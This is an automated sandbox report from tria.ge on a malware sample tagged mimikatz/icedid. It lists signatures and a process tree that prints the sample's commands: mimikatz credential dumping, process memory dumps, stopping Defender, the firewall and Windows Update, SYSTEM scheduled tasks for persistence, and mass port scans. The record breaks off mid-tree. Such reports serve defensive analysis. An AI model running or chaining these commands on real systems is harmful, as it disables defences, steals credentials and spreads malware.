Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28/07/2024, 06:58

General

  • Target

    2024-07-28_7770a6e110c27c2dc51dc0378dc73d9f_hacktools_icedid_mimikatz.exe

  • Size

    8.6MB

  • MD5

    7770a6e110c27c2dc51dc0378dc73d9f

  • SHA1

    394323ba6389ce55b0a9eeb4c860696bd0d1bb75

  • SHA256

    ab7c2f5ca0eb9378343d37114c5be3ea97cb13c233736685fdef268745ca90fa

  • SHA512

    a333a25581fcbebe60c6b0eb8ca88c1a03430401dca52d65f8d37d7fa964b08c155e19b6aad41683e95abde786fe91fa90565884eba0bca8211577bef654c06c

  • SSDEEP

    196608:MxygkmknGzwHdOgEPHd9BRX/nivPlTXTYo:Y5jz0E51/iv1

Malware Config

Signatures

  • Disables service(s) 3 TTPs
  • Mimikatz

    mimikatz is an open source tool to dump credentials on Windows.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Contacts a large (28680) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • OS Credential Dumping: LSASS Memory 1 TTPs

    Malicious access to Credentials History.

  • XMRig Miner payload 12 IoCs
  • mimikatz is an open source tool to dump credentials on Windows 5 IoCs
  • Drops file in Drivers directory 3 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 29 IoCs
  • Loads dropped DLL 12 IoCs
  • UPX packed file 37 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Creates a Windows Service
  • Drops file in System32 directory 18 IoCs
  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 60 IoCs
  • Launches sc.exe 4 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • NSIS installer 3 IoCs
  • Modifies data under HKEY_USERS 45 IoCs
  • Modifies registry class 14 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 15 IoCs
  • Suspicious behavior: RenamesItself 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\System32\spoolsv.exe
    C:\Windows\System32\spoolsv.exe
    1⤵
      PID:1464
      • C:\Windows\TEMP\pzbbhnbib\mlnvkq.exe
        "C:\Windows\TEMP\pzbbhnbib\mlnvkq.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of AdjustPrivilegeToken
        PID:1632
    • C:\Users\Admin\AppData\Local\Temp\2024-07-28_7770a6e110c27c2dc51dc0378dc73d9f_hacktools_icedid_mimikatz.exe
      "C:\Users\Admin\AppData\Local\Temp\2024-07-28_7770a6e110c27c2dc51dc0378dc73d9f_hacktools_icedid_mimikatz.exe"
      1⤵
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: RenamesItself
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:4728
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ping 127.0.0.1 -n 5 & Start C:\Windows\tfhiteub\gzyuqtu.exe
        2⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Suspicious use of WriteProcessMemory
        PID:5004
        • C:\Windows\SysWOW64\PING.EXE
          ping 127.0.0.1 -n 5
          3⤵
          • System Network Configuration Discovery: Internet Connection Discovery
          • Runs ping.exe
          PID:956
        • C:\Windows\tfhiteub\gzyuqtu.exe
          C:\Windows\tfhiteub\gzyuqtu.exe
          3⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:4516
    • C:\Windows\tfhiteub\gzyuqtu.exe
      C:\Windows\tfhiteub\gzyuqtu.exe
      1⤵
      • Suspicious use of NtCreateUserProcessOtherParentProcess
      • Drops file in Drivers directory
      • Event Triggered Execution: Image File Execution Options Injection
      • Executes dropped EXE
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2268
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:1844
        • C:\Windows\SysWOW64\cmd.exe
          C:\Windows\system32\cmd.exe /S /D /c" echo Y"
          3⤵
          • System Location Discovery: System Language Discovery
          PID:1776
        • C:\Windows\SysWOW64\cacls.exe
          cacls C:\Windows\system32\drivers\etc\hosts /T /D users
          3⤵
            PID:3280
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:1752
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
            3⤵
            • System Location Discovery: System Language Discovery
            PID:4116
          • C:\Windows\SysWOW64\cmd.exe
            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
            3⤵
            • System Location Discovery: System Language Discovery
            PID:4772
          • C:\Windows\SysWOW64\cacls.exe
            cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
            3⤵
            • System Location Discovery: System Language Discovery
            PID:972
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static del all
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:1676
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static add policy name=Bastards description=FuckingBastards
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          • System Location Discovery: System Language Discovery
          PID:4188
        • C:\Windows\SysWOW64\netsh.exe
          netsh ipsec static add filteraction name=BastardsList action=block
          2⤵
          • Event Triggered Execution: Netsh Helper DLL
          PID:1212
        • C:\Windows\SysWOW64\cmd.exe
          cmd /c C:\Windows\emaczthll\chpcgnseb\wpcap.exe /S
          2⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:116
          • C:\Windows\emaczthll\chpcgnseb\wpcap.exe
            C:\Windows\emaczthll\chpcgnseb\wpcap.exe /S
            3⤵
            • Drops file in Drivers directory
            • Executes dropped EXE
            • Loads dropped DLL
            • Drops file in System32 directory
            • Drops file in Program Files directory
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2444
            • C:\Windows\SysWOW64\net.exe
              net stop "Boundary Meter"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3016
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "Boundary Meter"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:2280
            • C:\Windows\SysWOW64\net.exe
              net stop "TrueSight Meter"
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:3944
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop "TrueSight Meter"
                5⤵
                • System Location Discovery: System Language Discovery
                PID:808
            • C:\Windows\SysWOW64\net.exe
              net stop npf
              4⤵
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2540
              • C:\Windows\SysWOW64\net1.exe
                C:\Windows\system32\net1 stop npf
                5⤵
                  PID:3628
              • C:\Windows\SysWOW64\net.exe
                net start npf
                4⤵
                • System Location Discovery: System Language Discovery
                PID:3668
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start npf
                  5⤵
                  • System Location Discovery: System Language Discovery
                  PID:4984
          • C:\Windows\SysWOW64\cmd.exe
            cmd /c net start npf
            2⤵
              PID:1588
              • C:\Windows\SysWOW64\net.exe
                net start npf
                3⤵
                • System Location Discovery: System Language Discovery
                PID:864
                • C:\Windows\SysWOW64\net1.exe
                  C:\Windows\system32\net1 start npf
                  4⤵
                  • System Location Discovery: System Language Discovery
                  PID:632
            • C:\Windows\SysWOW64\cmd.exe
              cmd /c net start npf
              2⤵
                PID:2520
                • C:\Windows\SysWOW64\net.exe
                  net start npf
                  3⤵
                  • System Location Discovery: System Language Discovery
                  PID:2936
                  • C:\Windows\SysWOW64\net1.exe
                    C:\Windows\system32\net1 start npf
                    4⤵
                    • System Location Discovery: System Language Discovery
                    PID:3464
              • C:\Windows\SysWOW64\cmd.exe
                cmd /c C:\Windows\emaczthll\chpcgnseb\lfhvbbhuz.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\emaczthll\chpcgnseb\Scant.txt
                2⤵
                  PID:3092
                  • C:\Windows\emaczthll\chpcgnseb\lfhvbbhuz.exe
                    C:\Windows\emaczthll\chpcgnseb\lfhvbbhuz.exe -p 80 222.186.128.1-222.186.255.255 --rate=1024 -oJ C:\Windows\emaczthll\chpcgnseb\Scant.txt
                    3⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • System Location Discovery: System Language Discovery
                    PID:3620
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c C:\Windows\emaczthll\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit >> C:\Windows\emaczthll\Corporate\log.txt
                  2⤵
                  • Drops file in Windows directory
                  • System Location Discovery: System Language Discovery
                  PID:2980
                  • C:\Windows\emaczthll\Corporate\vfshost.exe
                    C:\Windows\emaczthll\Corporate\vfshost.exe privilege::debug sekurlsa::logonpasswords exit
                    3⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2264
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "itkqleiib" /ru system /tr "cmd /c C:\Windows\ime\gzyuqtu.exe"
                  2⤵
                  • System Location Discovery: System Language Discovery
                  PID:1508
                  • C:\Windows\SysWOW64\cmd.exe
                    C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                    3⤵
                      PID:2280
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /sc minute /mo 1 /tn "itkqleiib" /ru system /tr "cmd /c C:\Windows\ime\gzyuqtu.exe"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      • Scheduled Task/Job: Scheduled Task
                      PID:4516
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "efyubvisg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tfhiteub\gzyuqtu.exe /p everyone:F"
                    2⤵
                    • System Location Discovery: System Language Discovery
                    PID:548
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                      3⤵
                      • System Location Discovery: System Language Discovery
                      PID:2132
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /create /sc minute /mo 1 /tn "efyubvisg" /ru system /tr "cmd /c echo Y|cacls C:\Windows\tfhiteub\gzyuqtu.exe /p everyone:F"
                      3⤵
                      • Scheduled Task/Job: Scheduled Task
                      PID:2360
                  • C:\Windows\SysWOW64\cmd.exe
                    cmd /c echo Y|schtasks /create /sc minute /mo 1 /tn "bczuktzcz" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\pzbbhnbib\mlnvkq.exe /p everyone:F"
                    2⤵
                      PID:3108
                      • C:\Windows\SysWOW64\cmd.exe
                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                        3⤵
                          PID:1564
                        • C:\Windows\SysWOW64\schtasks.exe
                          schtasks /create /sc minute /mo 1 /tn "bczuktzcz" /ru system /tr "cmd /c echo Y|cacls C:\Windows\TEMP\pzbbhnbib\mlnvkq.exe /p everyone:F"
                          3⤵
                          • System Location Discovery: System Language Discovery
                          • Scheduled Task/Job: Scheduled Task
                          PID:4660
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=TCP
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        PID:4312
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=139 protocol=UDP
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:900
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:1816
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static set policy name=Bastards assign=y
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        PID:5060
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=TCP
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:3344
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=135 protocol=UDP
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:4144
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:1492
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static set policy name=Bastards assign=y
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:5036
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=TCP
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:4260
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add filter filterlist=BastardsList srcaddr=any dstaddr=Me dstport=445 protocol=UDP
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        PID:552
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static add rule name=Rule1 policy=Bastards filterlist=BastardsList filteraction=BastardsList
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:3428
                      • C:\Windows\SysWOW64\netsh.exe
                        netsh ipsec static set policy name=Bastards assign=y
                        2⤵
                        • Event Triggered Execution: Netsh Helper DLL
                        • System Location Discovery: System Language Discovery
                        PID:1756
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c net stop SharedAccess
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:1632
                        • C:\Windows\SysWOW64\net.exe
                          net stop SharedAccess
                          3⤵
                          • System Location Discovery: System Language Discovery
                          PID:2240
                          • C:\Windows\SysWOW64\net1.exe
                            C:\Windows\system32\net1 stop SharedAccess
                            4⤵
                            • System Location Discovery: System Language Discovery
                            PID:2120
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c netsh firewall set opmode mode=disable
                        2⤵
                        • System Location Discovery: System Language Discovery
                        PID:5032
                        • C:\Windows\SysWOW64\netsh.exe
                          netsh firewall set opmode mode=disable
                          3⤵
                          • Modifies Windows Firewall
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Location Discovery: System Language Discovery
                          PID:4812
                      • C:\Windows\SysWOW64\cmd.exe
                        cmd /c netsh Advfirewall set allprofiles state off
                        2⤵
                          PID:4132
                          • C:\Windows\SysWOW64\netsh.exe
                            netsh Advfirewall set allprofiles state off
                            3⤵
                            • Modifies Windows Firewall
                            • Event Triggered Execution: Netsh Helper DLL
                            PID:2264
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c net stop MpsSvc
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:2448
                          • C:\Windows\SysWOW64\net.exe
                            net stop MpsSvc
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:1988
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop MpsSvc
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:388
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c net stop WinDefend
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:2980
                          • C:\Windows\SysWOW64\net.exe
                            net stop WinDefend
                            3⤵
                            • System Location Discovery: System Language Discovery
                            PID:4144
                            • C:\Windows\SysWOW64\net1.exe
                              C:\Windows\system32\net1 stop WinDefend
                              4⤵
                              • System Location Discovery: System Language Discovery
                              PID:4484
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c net stop wuauserv
                          2⤵
                          • System Location Discovery: System Language Discovery
                          PID:1956
                          • C:\Windows\SysWOW64\net.exe
                            net stop wuauserv
                            3⤵
                              PID:4452
                              • C:\Windows\SysWOW64\net1.exe
                                C:\Windows\system32\net1 stop wuauserv
                                4⤵
                                • System Location Discovery: System Language Discovery
                                PID:3600
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c sc config MpsSvc start= disabled
                            2⤵
                              PID:1900
                              • C:\Windows\SysWOW64\sc.exe
                                sc config MpsSvc start= disabled
                                3⤵
                                • Launches sc.exe
                                • System Location Discovery: System Language Discovery
                                PID:2672
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c sc config SharedAccess start= disabled
                              2⤵
                              • System Location Discovery: System Language Discovery
                              PID:1976
                              • C:\Windows\SysWOW64\sc.exe
                                sc config SharedAccess start= disabled
                                3⤵
                                • Launches sc.exe
                                • System Location Discovery: System Language Discovery
                                PID:3440
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c sc config WinDefend start= disabled
                              2⤵
                                PID:3800
                                • C:\Windows\SysWOW64\sc.exe
                                  sc config WinDefend start= disabled
                                  3⤵
                                  • Launches sc.exe
                                  • System Location Discovery: System Language Discovery
                                  PID:2084
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c sc config wuauserv start= disabled
                                2⤵
                                  PID:380
                                  • C:\Windows\SysWOW64\sc.exe
                                    sc config wuauserv start= disabled
                                    3⤵
                                    • Launches sc.exe
                                    • System Location Discovery: System Language Discovery
                                    PID:384
                                • C:\Windows\TEMP\xohudmc.exe
                                  C:\Windows\TEMP\xohudmc.exe
                                  2⤵
                                  • Executes dropped EXE
                                  • Drops file in System32 directory
                                  • Suspicious use of SetWindowsHookEx
                                  PID:3720
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 772 C:\Windows\TEMP\emaczthll\772.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:420
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 1008 C:\Windows\TEMP\emaczthll\1008.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5016
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 1464 C:\Windows\TEMP\emaczthll\1464.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4672
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 2604 C:\Windows\TEMP\emaczthll\2604.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1900
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 2920 C:\Windows\TEMP\emaczthll\2920.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:5096
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 444 C:\Windows\TEMP\emaczthll\444.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:956
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 2764 C:\Windows\TEMP\emaczthll\2764.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3312
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 3736 C:\Windows\TEMP\emaczthll\3736.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1412
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 3852 C:\Windows\TEMP\emaczthll\3852.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2260
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 3912 C:\Windows\TEMP\emaczthll\3912.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2104
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 4044 C:\Windows\TEMP\emaczthll\4044.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3292
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 3980 C:\Windows\TEMP\emaczthll\3980.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3052
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 2012 C:\Windows\TEMP\emaczthll\2012.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:2864
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 1912 C:\Windows\TEMP\emaczthll\1912.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3016
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 408 C:\Windows\TEMP\emaczthll\408.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1488
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 2824 C:\Windows\TEMP\emaczthll\2824.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:3868
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 3084 C:\Windows\TEMP\emaczthll\3084.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:1500
                                • C:\Windows\TEMP\emaczthll\vhmzcczzu.exe
                                  C:\Windows\TEMP\emaczthll\vhmzcczzu.exe -accepteula -mp 4768 C:\Windows\TEMP\emaczthll\4768.dmp
                                  2⤵
                                  • Executes dropped EXE
                                  • Modifies data under HKEY_USERS
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:628
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd.exe /c C:\Windows\emaczthll\chpcgnseb\scan.bat
                                  2⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:4116
                                  • C:\Windows\emaczthll\chpcgnseb\mbqubevtp.exe
                                    mbqubevtp.exe TCP 194.110.0.1 194.110.255.255 445 512 /save
                                    3⤵
                                    • Executes dropped EXE
                                    • Drops file in Windows directory
                                    PID:4912
                                • C:\Windows\SysWOW64\cmd.exe
                                  cmd /c echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D users & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators & echo Y|cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                  2⤵
                                    PID:5508
                                    • C:\Windows\SysWOW64\cmd.exe
                                      C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                      3⤵
                                      • System Location Discovery: System Language Discovery
                                      PID:3344
                                    • C:\Windows\SysWOW64\cacls.exe
                                      cacls C:\Windows\system32\drivers\etc\hosts /T /D users
                                      3⤵
                                        PID:3316
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:6472
                                      • C:\Windows\SysWOW64\cacls.exe
                                        cacls C:\Windows\system32\drivers\etc\hosts /T /D administrators
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:6824
                                      • C:\Windows\SysWOW64\cmd.exe
                                        C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:4232
                                      • C:\Windows\SysWOW64\cacls.exe
                                        cacls C:\Windows\system32\drivers\etc\hosts /T /D SYSTEM
                                        3⤵
                                          PID:332
                                    • C:\Windows\SysWOW64\bgzdci.exe
                                      C:\Windows\SysWOW64\bgzdci.exe
                                      1⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious use of SetWindowsHookEx
                                      PID:4240
                                    • C:\Windows\system32\cmd.EXE
                                      C:\Windows\system32\cmd.EXE /c C:\Windows\ime\gzyuqtu.exe
                                      1⤵
                                        PID:1668
                                        • C:\Windows\ime\gzyuqtu.exe
                                          C:\Windows\ime\gzyuqtu.exe
                                          2⤵
                                          • Executes dropped EXE
                                          • Suspicious use of SetWindowsHookEx
                                          PID:312
                                      • C:\Windows\system32\cmd.EXE
                                        C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\tfhiteub\gzyuqtu.exe /p everyone:F
                                        1⤵
                                          PID:1996
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /S /D /c" echo Y"
                                            2⤵
                                              PID:1676
                                            • C:\Windows\system32\cacls.exe
                                              cacls C:\Windows\tfhiteub\gzyuqtu.exe /p everyone:F
                                              2⤵
                                                PID:1520
                                            • C:\Windows\system32\cmd.EXE
                                              C:\Windows\system32\cmd.EXE /c echo Y|cacls C:\Windows\TEMP\pzbbhnbib\mlnvkq.exe /p everyone:F
                                              1⤵
                                                PID:1816
                                                • C:\Windows\system32\cmd.exe
